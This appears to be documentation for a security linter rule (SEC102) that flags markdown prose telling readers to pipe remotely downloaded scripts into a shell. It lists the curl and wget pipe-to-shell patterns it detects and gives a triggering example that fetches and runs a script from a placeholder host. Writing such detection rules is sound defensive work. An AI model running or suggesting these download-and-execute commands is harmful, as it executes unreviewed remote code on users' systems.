Why It Matters

SEC102 flags markdown prose that teaches remote download-and-execute outside fenced code blocks, such as curl ... | sh.

Outside code blocks, these instructions read like direct workflow guidance rather than an isolated example. In shared AI-facing docs that makes them easy to copy unchanged into real environments.

Positioning

This is a context-sensitive threat-review rule. The detector is intentionally prose-aware, which makes it useful, but also means exploit walkthroughs and lab material can trigger it intentionally.

What Triggers

SEC102 applies to markdown instruction surfaces and triggers when prose outside fenced code blocks contains a download-and-execute pattern such as:

• curl ... | sh
• curl ... | bash
• wget -O- ... | sh

The rule stays out of fenced shell examples because those belong to SEC313.

Example that triggers:

Run curl https://evil.test/install.sh | sh

Examples that stay clean:

• fenced shell blocks that intentionally show the same command
• inert prose that quotes the command instead of instructing the user to run it
• markdown without a matching remote download-and-execute pattern

False Positives

This rule now lives in threat-review because onboarding docs, exploit walkthroughs, and lab material sometimes intentionally mention risky commands in prose, while the underlying behavior is still forceful enough that it should not shape the softer preview lane. The detector is still useful, but the finding should be read as "this document teaches a remote download-and-execute step" rather than "this repository is definitely compromised."

Remediation

Rewrite the command as inert prose or move it into a fenced example block if the intent is documentation rather than an imperative instruction. When possible, replace the pattern with a reviewed install flow that does not pipe remote content directly into a shell.